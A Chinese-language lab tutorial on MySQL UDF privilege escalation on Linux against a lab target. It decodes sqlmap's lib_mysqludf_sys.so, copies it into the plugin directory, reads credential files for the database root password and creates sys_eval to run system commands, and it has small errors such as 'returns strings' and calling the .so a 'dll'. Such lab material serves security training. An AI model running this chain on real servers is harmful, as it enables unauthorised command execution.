Mysql提权-基于Mysql的UDF提权(Linux系统)

实验声明:本实验教程仅供研究学习使用,请勿用于非法用途,违者一律自行承担所有风险!

基于Mysql的UDF提权(Linux系统)

【实验目的】

  通过本实验理解如何通过webshell结合sqlmap自带的dll文件对Linux系统进行UDF提权,熟悉UDF提权的主要方法。

【实验环境】

攻击机:Kali-pri
用户名college,密码360College

目标靶机:CentOS-sqli-lab
用户名college,密码360College

【实验原理】

  scp命令简介:

  scp是 secure copy的缩写, scp是linux系统下基于ssh登录进行安全的远程文件拷贝命令。linux的scp命令可以在linux服务器之间复制文件和目录。

  复制文件的命令格式:

  scp local_file remote_username@remote_ip:remote_folder

  scp dama.php michael@192.168.198.13:/var/www/html/wordpress

【实验步骤】

  1.启动靶机CentOS-sqli-lab、攻击机Kali-pri。

  2.将Kali系统中sqlmap自带的udf提权库文件进行解码。 在Kali攻击机上,启动终端,依次输入如下命令:

  (1)sudo su

//切换到root用户

  (2)cd /usr/share/sqlmap/extra/cloak/

//进入cloak目录

  (3)python cloak.py -d -i /usr/share/sqlmap/udf/mysql/linux/64/lib_mysqludf_sys.so_

//将lib_mysqludf_sys.so_进行解码

Mysql提权-基于Mysql的UDF提权(Linux系统)

  解码后,在/usr/share/sqlmap/udf/mysql/linux/64目录下会生成一个名为“lib_mysqludf_sys.so”的解码后的so文件。

Mysql提权-基于Mysql的UDF提权(Linux系统)

  3.将攻击机上的lib_mysqludf_sys.so文件上传至靶机的/usr/lib64/mysql/plugin目录(此为mysql数据库的插件安装目录),所用命令为:

  scp /usr/share/sqlmap/udf/mysql/linux/64/lib_mysqludf_sys.so 【靶机的账户】@【靶机IP地址】: /usr/lib64/mysql/plugin

Mysql提权-基于Mysql的UDF提权(Linux系统)

  这里所用的靶机账户为college,密码为360College

  4.在Kali攻击机上,利用nmap扫描靶机开放的端口,所用命令为:

  nmap -sS 【靶机IP地址】

  注意:该命令只有管理员身份(即root用户)才能使用!

Mysql提权-基于Mysql的UDF提权(Linux系统)

  通过nmap扫描结果得知,目标靶机开放了TCP 22端口。

  5.在Kali攻击机上,通过SSH连接靶机,所用命令为:

  ssh 【靶机的账户】@【靶机IP地址】

Mysql提权-基于Mysql的UDF提权(Linux系统)

  这里所用的靶机账户为college,密码为360College

  6.通过SSH成功连接靶机后,进入靶机的/var/www/html/sql-connections目录,通过查看db-creds.inc文件内容获取靶机MySQL数据库root账户的密码。所用命令为:

  (1)cd /var/www/html/sql-connections

//进入该目录

  (2)cat db-creds.inc

//查看db-creds.inc文件内容

Mysql提权-基于Mysql的UDF提权(Linux系统)

  这里获取到的MySQL数据库root账户的密码为root123456

  7.用root账户连接靶机的MySQL数据库。

  依次输入以下命令:

  (1)cd /usr/bin

//进入MySQL可执行文件的目录

  (2)mysql -h 127.0.0.1 -u root -p

//连接MySQL

  (3)输入root账户的密码root123456

Mysql提权-基于Mysql的UDF提权(Linux系统)

  当出现mysql>的提示符时,则表示连接成功。

  8.利用第3步中上传的lib_mysqludf_sys.so文件,创建一个MySQL函数sys_eval,所用命令为:

  create function sys_eval returns strings soname ‘lib_mysqludf_sys.so’;

  创建完成后,利用如下命令查看结果:

  select * from mysql.func;

Mysql提权-基于Mysql的UDF提权(Linux系统)

  9.利用sys_eval函数执行系统命令:

  (1)select sys_eval(‘whoami’);

Mysql提权-基于Mysql的UDF提权(Linux系统)

  (2)select sys_eval(‘id’);

Mysql提权-基于Mysql的UDF提权(Linux系统)

  实验至此结束。

【思考与总结】

  通过本次实验,掌握了利用webshell结合sqlmap自带的dll文件对Linux系统进行UDF提权的方法。

上一篇:linux scp命令


下一篇:Linux scp命令